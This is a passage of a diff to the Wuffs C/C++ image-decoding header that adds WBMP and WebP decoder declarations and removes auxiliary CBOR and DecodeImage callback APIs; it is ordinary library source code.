-+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__set_quirk( -+ wuffs_wbmp__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value); - -- // grow ensures that the byte array size is at least min_incl and at most -- // max_incl. It returns FailedMaxInclExceeded if that would require -- // allocating more than max_incl bytes, including the case where (min_incl > -- // max_incl). It returns FailedOutOfMemory if memory allocation failed. -- GrowResult grow(uint64_t min_incl); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__decode_image_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- private: -- // Delete the copy and assign constructors. -- DynIOBuffer(const DynIOBuffer&) = delete; -- DynIOBuffer& operator=(const DynIOBuffer&) = delete; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__decode_frame_config( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- static uint64_t round_up(uint64_t min_incl, uint64_t max_incl); --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__decode_frame( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); - --// -------- -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_wbmp__decoder__frame_dirty_rect( -+ const wuffs_wbmp__decoder* self); - --class Input { -- public: -- virtual ~Input(); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_wbmp__decoder__num_animation_loops( -+ const wuffs_wbmp__decoder* self); - -- virtual IOBuffer* BringsItsOwnIOBuffer(); -- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length) = 0; --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_wbmp__decoder__num_decoded_frame_configs( -+ const wuffs_wbmp__decoder* self); - --// -------- -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_wbmp__decoder__num_decoded_frames( -+ const wuffs_wbmp__decoder* self); - --// FileInput is an Input that reads from a file source. --// --// It does not take responsibility for closing the file when done. --class FileInput : public Input { -- public: -- FileInput(FILE* f); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__restart_frame( -+ wuffs_wbmp__decoder* self, -+ uint64_t a_index, -+ uint64_t a_io_position); - -- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_wbmp__decoder__set_report_metadata( -+ wuffs_wbmp__decoder* self, -+ uint32_t a_fourcc, -+ bool a_report); - -- private: -- FILE* m_f; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_wbmp__decoder__tell_me_more( -+ wuffs_wbmp__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src); - -- // Delete the copy and assign constructors. -- FileInput(const FileInput&) = delete; -- FileInput& operator=(const FileInput&) = delete; --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_wbmp__decoder__workbuf_len( -+ const wuffs_wbmp__decoder* self); - --// -------- -+#ifdef __cplusplus -+} // extern "C" -+#endif - --// MemoryInput is an Input that reads from an in-memory source. -+// ---------------- Struct Definitions -+ -+// These structs' fields, and the sizeof them, are private implementation -+// details that aren't guaranteed to be stable across Wuffs versions. - // --// It does not take responsibility for freeing the memory when done. --class MemoryInput : public Input { -- public: -- MemoryInput(const char* ptr, size_t len); -- MemoryInput(const uint8_t* ptr, size_t len); -+// See https://en.wikipedia.org/wiki/Opaque_pointer#C - -- virtual IOBuffer* BringsItsOwnIOBuffer(); -- virtual std::string CopyIn(IOBuffer* dst, uint64_t history_retain_length); -+#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- private: -- IOBuffer m_io; -+struct wuffs_wbmp__decoder__struct { -+ // Do not access the private_impl's or private_data's fields directly. There -+ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use -+ // the wuffs_foo__bar__baz functions. -+ // -+ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct -+ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. - -- // Delete the copy and assign constructors. -- MemoryInput(const MemoryInput&) = delete; -- MemoryInput& operator=(const MemoryInput&) = delete; --}; -+ struct { -+ uint32_t magic; -+ uint32_t active_coroutine; -+ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; -+ wuffs_base__vtable null_vtable; - --// -------- -+ uint32_t f_width; -+ uint32_t f_height; -+ uint8_t f_call_sequence; -+ uint64_t f_frame_config_io_position; -+ wuffs_base__pixel_swizzler f_swizzler; - --} // namespace sync_io -+ uint32_t p_decode_image_config; -+ uint32_t p_do_decode_image_config; -+ uint32_t p_decode_frame_config; -+ uint32_t p_do_decode_frame_config; -+ uint32_t p_decode_frame; -+ uint32_t p_do_decode_frame; -+ } private_impl; - --} // namespace wuffs_aux -+ struct { -+ struct { -+ uint32_t v_i; -+ uint32_t v_p; -+ } s_do_decode_image_config; -+ struct { -+ uint64_t v_dst_bytes_per_pixel; -+ uint32_t v_dst_x; -+ uint32_t v_dst_y; -+ uint8_t v_src[1]; -+ uint8_t v_c8; -+ } s_do_decode_frame; -+ } private_data; - --// ---------------- Auxiliary - CBOR -+#ifdef __cplusplus -+#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) -+ using unique_ptr = std::unique_ptr; - --namespace wuffs_aux { -+ // On failure, the alloc_etc functions return nullptr. They don't throw. - --struct DecodeCborResult { -- DecodeCborResult(std::string&& error_message0, uint64_t cursor_position0); -+ static inline unique_ptr -+ alloc() { -+ return unique_ptr(wuffs_wbmp__decoder__alloc()); -+ } - -- std::string error_message; -- uint64_t cursor_position; --}; -+ static inline wuffs_base__image_decoder::unique_ptr -+ alloc_as__wuffs_base__image_decoder() { -+ return wuffs_base__image_decoder::unique_ptr( -+ wuffs_wbmp__decoder__alloc_as__wuffs_base__image_decoder()); -+ } -+#endif // defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - --class DecodeCborCallbacks { -- public: -- virtual ~DecodeCborCallbacks(); -+#if defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) -+ // Disallow constructing or copying an object via standard C++ mechanisms, -+ // e.g. the "new" operator, as this struct is intentionally opaque. Its total -+ // size and field layout is not part of the public, stable, memory-safe API. -+ // Use malloc or memcpy and the sizeof__wuffs_foo__bar function instead, and -+ // call wuffs_foo__bar__baz methods (which all take a "this"-like pointer as -+ // their first argument) rather than tweaking bar.private_impl.qux fields. -+ // -+ // In C, we can just leave wuffs_foo__bar as an incomplete type (unless -+ // WUFFS_IMPLEMENTATION is #define'd). In C++, we define a complete type in -+ // order to provide convenience methods. These forward on "this", so that you -+ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". -+ wuffs_wbmp__decoder__struct() = delete; -+ wuffs_wbmp__decoder__struct(const wuffs_wbmp__decoder__struct&) = delete; -+ wuffs_wbmp__decoder__struct& operator=( -+ const wuffs_wbmp__decoder__struct&) = delete; -+#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) - -- // AppendXxx are called for leaf nodes: literals, numbers, strings, etc. -+#if !defined(WUFFS_IMPLEMENTATION) -+ // As above, the size of the struct is not part of the public API, and unless -+ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap -+ // allocated, not stack allocated. Its size is not intended to be known at -+ // compile time, but it is unfortunately divulged as a side effect of -+ // defining C++ convenience methods. Use "sizeof__T()", calling the function, -+ // instead of "sizeof T", invoking the operator. To make the two values -+ // different, so that passing the latter will be rejected by the initialize -+ // function, we add an arbitrary amount of dead weight. -+ uint8_t dead_weight[123000000]; // 123 MB. -+#endif // !defined(WUFFS_IMPLEMENTATION) - -- virtual std::string AppendNull() = 0; -- virtual std::string AppendUndefined() = 0; -- virtual std::string AppendBool(bool val) = 0; -- virtual std::string AppendF64(double val) = 0; -- virtual std::string AppendI64(int64_t val) = 0; -- virtual std::string AppendU64(uint64_t val) = 0; -- virtual std::string AppendByteString(std::string&& val) = 0; -- virtual std::string AppendTextString(std::string&& val) = 0; -- virtual std::string AppendMinus1MinusX(uint64_t val) = 0; -- virtual std::string AppendCborSimpleValue(uint8_t val) = 0; -- virtual std::string AppendCborTag(uint64_t val) = 0; -+ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+ initialize( -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options) { -+ return wuffs_wbmp__decoder__initialize( -+ this, sizeof_star_self, wuffs_version, options); -+ } - -- // Push and Pop are called for container nodes: CBOR arrays (lists) and CBOR -- // maps (dictionaries). -- // -- // The flags bits combine exactly one of: -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT -- // and exactly one of: -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST -- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT -+ inline wuffs_base__image_decoder* -+ upcast_as__wuffs_base__image_decoder() { -+ return (wuffs_base__image_decoder*)this; -+ } - -- virtual std::string Push(uint32_t flags) = 0; -- virtual std::string Pop(uint32_t flags) = 0; -+ inline uint64_t -+ get_quirk( -+ uint32_t a_key) const { -+ return wuffs_wbmp__decoder__get_quirk(this, a_key); -+ } - -- // Done is always the last Callback method called by DecodeCbor, whether or -- // not parsing the input as CBOR encountered an error. Even when successful, -- // trailing data may remain in input and buffer. -- // -- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, -- // as DecodeCbor may then de-allocate the backing array. -- // -- // The default Done implementation is a no-op. -- virtual void // -- Done(DecodeCborResult& result, sync_io::Input& input, IOBuffer& buffer); --}; -+ inline wuffs_base__status -+ set_quirk( -+ uint32_t a_key, -+ uint64_t a_value) { -+ return wuffs_wbmp__decoder__set_quirk(this, a_key, a_value); -+ } - --// The FooArgBar types add structure to Foo's optional arguments. They wrap --// inner representations for several reasons: --// - It provides a home for the DefaultValue static method, for Foo callers --// that want to override some but not all optional arguments. --// - It provides the "Bar" name at Foo call sites, which can help self- --// document Foo calls with many arguemnts. --// - It provides some type safety against accidentally transposing or omitting --// adjacent fundamentally-numeric-typed optional arguments. -+ inline wuffs_base__status -+ decode_image_config( -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_wbmp__decoder__decode_image_config(this, a_dst, a_src); -+ } - --// DecodeCborArgQuirks wraps an optional argument to DecodeCbor. --struct DecodeCborArgQuirks { -- explicit DecodeCborArgQuirks(wuffs_base__slice_u32 repr0); -- explicit DecodeCborArgQuirks(uint32_t* ptr, size_t len); -+ inline wuffs_base__status -+ decode_frame_config( -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_wbmp__decoder__decode_frame_config(this, a_dst, a_src); -+ } - -- // DefaultValue returns an empty slice. -- static DecodeCborArgQuirks DefaultValue(); -+ inline wuffs_base__status -+ decode_frame( -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ return wuffs_wbmp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); -+ } - -- wuffs_base__slice_u32 repr; --}; -+ inline wuffs_base__rect_ie_u32 -+ frame_dirty_rect() const { -+ return wuffs_wbmp__decoder__frame_dirty_rect(this); -+ } - --// DecodeCbor calls callbacks based on the CBOR-formatted data in input. --// --// On success, the returned error_message is empty and cursor_position counts --// the number of bytes consumed. On failure, error_message is non-empty and --// cursor_position is the location of the error. That error may be a content --// error (invalid CBOR) or an input error (e.g. network failure). --DecodeCborResult // --DecodeCbor(DecodeCborCallbacks& callbacks, -- sync_io::Input& input, -- DecodeCborArgQuirks quirks = DecodeCborArgQuirks::DefaultValue()); -+ inline uint32_t -+ num_animation_loops() const { -+ return wuffs_wbmp__decoder__num_animation_loops(this); -+ } - --} // namespace wuffs_aux -+ inline uint64_t -+ num_decoded_frame_configs() const { -+ return wuffs_wbmp__decoder__num_decoded_frame_configs(this); -+ } - --// ---------------- Auxiliary - Image -+ inline uint64_t -+ num_decoded_frames() const { -+ return wuffs_wbmp__decoder__num_decoded_frames(this); -+ } - --namespace wuffs_aux { -+ inline wuffs_base__status -+ restart_frame( -+ uint64_t a_index, -+ uint64_t a_io_position) { -+ return wuffs_wbmp__decoder__restart_frame(this, a_index, a_io_position); -+ } - --struct DecodeImageResult { -- DecodeImageResult(MemOwner&& pixbuf_mem_owner0, -- wuffs_base__pixel_buffer pixbuf0, -- std::string&& error_message0); -- DecodeImageResult(std::string&& error_message0); -+ inline wuffs_base__empty_struct -+ set_report_metadata( -+ uint32_t a_fourcc, -+ bool a_report) { -+ return wuffs_wbmp__decoder__set_report_metadata(this, a_fourcc, a_report); -+ } - -- MemOwner pixbuf_mem_owner; -- wuffs_base__pixel_buffer pixbuf; -- std::string error_message; --}; -+ inline wuffs_base__status -+ tell_me_more( -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__more_information* a_minfo, -+ wuffs_base__io_buffer* a_src) { -+ return wuffs_wbmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); -+ } - --// DecodeImageCallbacks are the callbacks given to DecodeImage. They are always --// called in this order: --// 1. SelectDecoder --// 2. HandleMetadata --// 3. SelectPixfmt --// 4. AllocPixbuf --// 5. AllocWorkbuf --// 6. Done --// --// It may return early - the third callback might not be invoked if the second --// one fails - but the final callback (Done) is always invoked. --class DecodeImageCallbacks { -- public: -- // AllocPixbufResult holds a memory allocation (the result of malloc or new, -- // a statically allocated pointer, etc), or an error message. The memory is -- // de-allocated when mem_owner goes out of scope and is destroyed. -- struct AllocPixbufResult { -- AllocPixbufResult(MemOwner&& mem_owner0, wuffs_base__pixel_buffer pixbuf0); -- AllocPixbufResult(std::string&& error_message0); -+ inline wuffs_base__range_ii_u64 -+ workbuf_len() const { -+ return wuffs_wbmp__decoder__workbuf_len(this); -+ } - -- MemOwner mem_owner; -- wuffs_base__pixel_buffer pixbuf; -- std::string error_message; -- }; -+#endif // __cplusplus -+}; // struct wuffs_wbmp__decoder__struct - -- // AllocWorkbufResult holds a memory allocation (the result of malloc or new, -- // a statically allocated pointer, etc), or an error message. The memory is -- // de-allocated when mem_owner goes out of scope and is destroyed. -- struct AllocWorkbufResult { -- AllocWorkbufResult(MemOwner&& mem_owner0, wuffs_base__slice_u8 workbuf0); -- AllocWorkbufResult(std::string&& error_message0); -+#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) - -- MemOwner mem_owner; -- wuffs_base__slice_u8 workbuf; -- std::string error_message; -- }; -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) - -- virtual ~DecodeImageCallbacks(); -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) || defined(WUFFS_NONMONOLITHIC) - -- // SelectDecoder returns the image decoder for the input data's file format. -- // Returning a nullptr means failure (DecodeImage_UnsupportedImageFormat). -- // -- // Common formats will have a FourCC value in the range [1 ..= 0x7FFF_FFFF], -- // such as WUFFS_BASE__FOURCC__JPEG. A zero FourCC value means that Wuffs' -- // standard library did not recognize the image format but if SelectDecoder -- // was overridden, it may examine the input data's starting bytes and still -- // provide its own image decoder, e.g. for an exotic image file format that's -- // not in Wuffs' standard library. The prefix_etc fields have the same -- // meaning as wuffs_base__magic_number_guess_fourcc arguments. SelectDecoder -- // implementations should not modify prefix_data's contents. -- // -- // SelectDecoder might be called more than once, since some image file -- // formats can wrap others. For example, a nominal BMP file can actually -- // contain a JPEG or a PNG. -- // -- // The default SelectDecoder accepts the FOURCC codes listed below. For -- // modular builds (i.e. when #define'ing WUFFS_CONFIG__MODULES), acceptance -- // of the ETC file format is optional (for each value of ETC) and depends on -- // the corresponding module to be enabled at compile time (i.e. #define'ing -- // WUFFS_CONFIG__MODULE__ETC). -- // - WUFFS_BASE__FOURCC__BMP -- // - WUFFS_BASE__FOURCC__GIF -- // - WUFFS_BASE__FOURCC__JPEG -- // - WUFFS_BASE__FOURCC__NIE -- // - WUFFS_BASE__FOURCC__NPBM -- // - WUFFS_BASE__FOURCC__PNG -- // - WUFFS_BASE__FOURCC__TGA -- // - WUFFS_BASE__FOURCC__WBMP -- virtual wuffs_base__image_decoder::unique_ptr // -- SelectDecoder(uint32_t fourcc, -- wuffs_base__slice_u8 prefix_data, -- bool prefix_closed); -- -- // HandleMetadata acknowledges image metadata. minfo.flavor will be one of: -- // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_RAW_PASSTHROUGH -- // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_PARSED -- // If it is ETC__METADATA_RAW_ETC then raw contains the metadata bytes. Those -- // bytes should not be retained beyond the the HandleMetadata call. -- // -- // minfo.metadata__fourcc() will typically match one of the -- // DecodeImageArgFlags bits. For example, if (REPORT_METADATA_CHRM | -- // REPORT_METADATA_GAMA) was passed to DecodeImage then the metadata FourCC -- // will be either WUFFS_BASE__FOURCC__CHRM or WUFFS_BASE__FOURCC__GAMA. -- // -- // It returns an error message, or an empty string on success. -- virtual std::string // -- HandleMetadata(const wuffs_base__more_information& minfo, -- wuffs_base__slice_u8 raw); -- -- // SelectPixfmt returns the destination pixel format for AllocPixbuf. It -- // should return wuffs_base__make_pixel_format(etc) called with one of: -- // - WUFFS_BASE__PIXEL_FORMAT__BGR_565 -- // - WUFFS_BASE__PIXEL_FORMAT__BGR -- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL -- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE -- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL -- // - WUFFS_BASE__PIXEL_FORMAT__RGB -- // - WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL -- // - WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL -- // or return image_config.pixcfg.pixel_format(). The latter means to use the -- // image file's natural pixel format. For example, GIF images' natural pixel -- // format is an indexed one. -- // -- // Returning otherwise means failure (DecodeImage_UnsupportedPixelFormat). -- // -- // The default SelectPixfmt implementation returns -- // wuffs_base__make_pixel_format(WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL) which -- // is 4 bytes per pixel (8 bits per channel × 4 channels). -- virtual wuffs_base__pixel_format // -- SelectPixfmt(const wuffs_base__image_config& image_config); -+// ---------------- Status Codes - -- // AllocPixbuf allocates the pixel buffer. -- // -- // allow_uninitialized_memory will be true if a valid background_color was -- // passed to DecodeImage, since the pixel buffer's contents will be -- // overwritten with that color after AllocPixbuf returns. -- // -- // The default AllocPixbuf implementation allocates either uninitialized or -- // zeroed memory. Zeroed memory typically corresponds to filling with opaque -- // black or transparent black, depending on the pixel format. -- virtual AllocPixbufResult // -- AllocPixbuf(const wuffs_base__image_config& image_config, -- bool allow_uninitialized_memory); -+extern const char wuffs_webp__error__bad_huffman_code_over_subscribed[]; -+extern const char wuffs_webp__error__bad_huffman_code_under_subscribed[]; -+extern const char wuffs_webp__error__bad_huffman_code[]; -+extern const char wuffs_webp__error__bad_back_reference[]; -+extern const char wuffs_webp__error__bad_color_cache[]; -+extern const char wuffs_webp__error__bad_header[]; -+extern const char wuffs_webp__error__bad_transform[]; -+extern const char wuffs_webp__error__short_chunk[]; -+extern const char wuffs_webp__error__truncated_input[]; -+extern const char wuffs_webp__error__unsupported_number_of_huffman_groups[]; -+extern const char wuffs_webp__error__unsupported_transform_after_color_indexing_transform[]; -+extern const char wuffs_webp__error__unsupported_webp_file[]; - -- // AllocWorkbuf allocates the work buffer. The allocated buffer's length -- // should be at least len_range.min_incl, but larger allocations (up to -- // len_range.max_incl) may have better performance (by using more memory). -- // -- // The default AllocWorkbuf implementation allocates len_range.max_incl bytes -- // of either uninitialized or zeroed memory. -- virtual AllocWorkbufResult // -- AllocWorkbuf(wuffs_base__range_ii_u64 len_range, -- bool allow_uninitialized_memory); -+// ---------------- Public Consts - -- // Done is always the last Callback method called by DecodeImage, whether or -- // not parsing the input encountered an error. Even when successful, trailing -- // data may remain in input and buffer. -- // -- // The image_decoder is the one returned by SelectDecoder (if SelectDecoder -- // was successful), or a no-op unique_ptr otherwise. Like any unique_ptr, -- // ownership moves to the Done implementation. -- // -- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, -- // as DecodeImage may then de-allocate the backing array. -- // -- // The default Done implementation is a no-op, other than running the -- // image_decoder unique_ptr destructor. -- virtual void // -- Done(DecodeImageResult& result, -- sync_io::Input& input, -- IOBuffer& buffer, -- wuffs_base__image_decoder::unique_ptr image_decoder); --}; -+#define WUFFS_WEBP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u - --extern const char DecodeImage_BufferIsTooShort[]; --extern const char DecodeImage_MaxInclDimensionExceeded[]; --extern const char DecodeImage_MaxInclMetadataLengthExceeded[]; --extern const char DecodeImage_OutOfMemory[]; --extern const char DecodeImage_UnexpectedEndOfFile[]; --extern const char DecodeImage_UnsupportedImageFormat[]; --extern const char DecodeImage_UnsupportedMetadata[]; --extern const char DecodeImage_UnsupportedPixelBlend[]; --extern const char DecodeImage_UnsupportedPixelConfiguration[]; --extern const char DecodeImage_UnsupportedPixelFormat[]; -+// ---------------- Struct Declarations - --// The FooArgBar types add structure to Foo's optional arguments. They wrap --// inner representations for several reasons: --// - It provides a home for the DefaultValue static method, for Foo callers --// that want to override some but not all optional arguments. --// - It provides the "Bar" name at Foo call sites, which can help self- --// document Foo calls with many arguemnts. --// - It provides some type safety against accidentally transposing or omitting --// adjacent fundamentally-numeric-typed optional arguments. -+typedef struct wuffs_webp__decoder__struct wuffs_webp__decoder; - --// DecodeImageArgQuirks wraps an optional argument to DecodeImage. --struct DecodeImageArgQuirks { -- explicit DecodeImageArgQuirks(wuffs_base__slice_u32 repr0); -- explicit DecodeImageArgQuirks(uint32_t* ptr, size_t len); -+#ifdef __cplusplus -+extern "C" { -+#endif - -- // DefaultValue returns an empty slice. -- static DecodeImageArgQuirks DefaultValue(); -+// ---------------- Public Initializer Prototypes - -- wuffs_base__slice_u32 repr; --}; -+// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, -+// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". -+// -+// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. -+// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. - --// DecodeImageArgFlags wraps an optional argument to DecodeImage. --struct DecodeImageArgFlags { -- explicit DecodeImageArgFlags(uint64_t repr0); -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_webp__decoder__initialize( -+ wuffs_webp__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options); - -- // DefaultValue returns 0. -- static DecodeImageArgFlags DefaultValue(); -+size_t -+sizeof__wuffs_webp__decoder(void); - -- // TODO: support all of the REPORT_METADATA_ETC flags, not just CHRM, EXIF, -- // GAMA, ICCP, KVP, SRGB and XMP. -+// ---------------- Allocs - -- // Background Color. -- static constexpr uint64_t REPORT_METADATA_BGCL = 0x0001; -- // Primary Chromaticities and White Point. -- static constexpr uint64_t REPORT_METADATA_CHRM = 0x0002; -- // Exchangeable Image File Format. -- static constexpr uint64_t REPORT_METADATA_EXIF = 0x0004; -- // Gamma Correction. -- static constexpr uint64_t REPORT_METADATA_GAMA = 0x0008; -- // International Color Consortium Profile. -- static constexpr uint64_t REPORT_METADATA_ICCP = 0x0010; -- // Key-Value Pair. -- // -- // For PNG files, this includes iTXt, tEXt and zTXt chunks. In the -- // HandleMetadata callback, the raw argument contains UTF-8 strings. -- static constexpr uint64_t REPORT_METADATA_KVP = 0x0020; -- // Modification Time. -- static constexpr uint64_t REPORT_METADATA_MTIM = 0x0040; -- // Offset (2-Dimensional). -- static constexpr uint64_t REPORT_METADATA_OFS2 = 0x0080; -- // Physical Dimensions. -- static constexpr uint64_t REPORT_METADATA_PHYD = 0x0100; -- // Standard Red Green Blue (Rendering Intent). -- static constexpr uint64_t REPORT_METADATA_SRGB = 0x0200; -- // Extensible Metadata Platform. -- static constexpr uint64_t REPORT_METADATA_XMP = 0x0400; -+// These functions allocate and initialize Wuffs structs. They return NULL if -+// memory allocation fails. If they return non-NULL, there is no need to call -+// wuffs_foo__bar__initialize, but the caller is responsible for eventually -+// calling free on the returned pointer. That pointer is effectively a C++ -+// std::unique_ptr. - -- uint64_t repr; --}; -+wuffs_webp__decoder* -+wuffs_webp__decoder__alloc(void); - --// DecodeImageArgPixelBlend wraps an optional argument to DecodeImage. --struct DecodeImageArgPixelBlend { -- explicit DecodeImageArgPixelBlend(wuffs_base__pixel_blend repr0); -+static inline wuffs_base__image_decoder* -+wuffs_webp__decoder__alloc_as__wuffs_base__image_decoder(void) { -+ return (wuffs_base__image_decoder*)(wuffs_webp__decoder__alloc()); -+} - -- // DefaultValue returns WUFFS_BASE__PIXEL_BLEND__SRC. -- static DecodeImageArgPixelBlend DefaultValue(); -+// ---------------- Upcasts - -- wuffs_base__pixel_blend repr; --}; -+static inline wuffs_base__image_decoder* -+wuffs_webp__decoder__upcast_as__wuffs_base__image_decoder( -+ wuffs_webp__decoder* p) { -+ return (wuffs_base__image_decoder*)p; -+} - --// DecodeImageArgBackgroundColor wraps an optional argument to DecodeImage. --struct DecodeImageArgBackgroundColor { -- explicit DecodeImageArgBackgroundColor( -- wuffs_base__color_u32_argb_premul repr0); -+// ---------------- Public Function Prototypes - -- // DefaultValue returns 1, an invalid wuffs_base__color_u32_argb_premul. -- static DecodeImageArgBackgroundColor DefaultValue(); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_webp__decoder__get_quirk( -+ const wuffs_webp__decoder* self, -+ uint32_t a_key); - -- wuffs_base__color_u32_argb_premul repr; --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_webp__decoder__set_quirk( -+ wuffs_webp__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value); - --// DecodeImageArgMaxInclDimension wraps an optional argument to DecodeImage. --struct DecodeImageArgMaxInclDimension { -- explicit DecodeImageArgMaxInclDimension(uint32_t repr0); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_webp__decoder__decode_image_config( -+ wuffs_webp__decoder* self, -+ wuffs_base__image_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- // DefaultValue returns 1048575 = 0x000F_FFFF, more than 1 million pixels. -- static DecodeImageArgMaxInclDimension DefaultValue(); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_webp__decoder__decode_frame_config( -+ wuffs_webp__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src); - -- uint32_t repr; --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_webp__decoder__decode_frame( -+ wuffs_webp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts); - --// DecodeImageArgMaxInclMetadataLength wraps an optional argument to --// DecodeImage. --struct DecodeImageArgMaxInclMetadataLength { -- explicit DecodeImageArgMaxInclMetadataLength(uint64_t repr0); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 -+wuffs_webp__decoder__frame_dirty_rect( -+ const wuffs_webp__decoder* self); - -- // DefaultValue returns 16777215 = 0x00FF_FFFF, one less than 16 MiB. -- static DecodeImageArgMaxInclMetadataLength DefaultValue(); -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint32_t -+wuffs_webp__decoder__num_animation_loops( -+ const wuffs_webp__decoder* self); - -- uint64_t repr; --}; -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_webp__decoder__num_decoded_frame_configs( -+ const wuffs_webp__decoder* self); - --// DecodeImage decodes the image data in input. A variety of image file formats --// can be decoded, depending on what callbacks.SelectDecoder returns. --// --// For animated formats, only the first frame is returned, since the API is --// 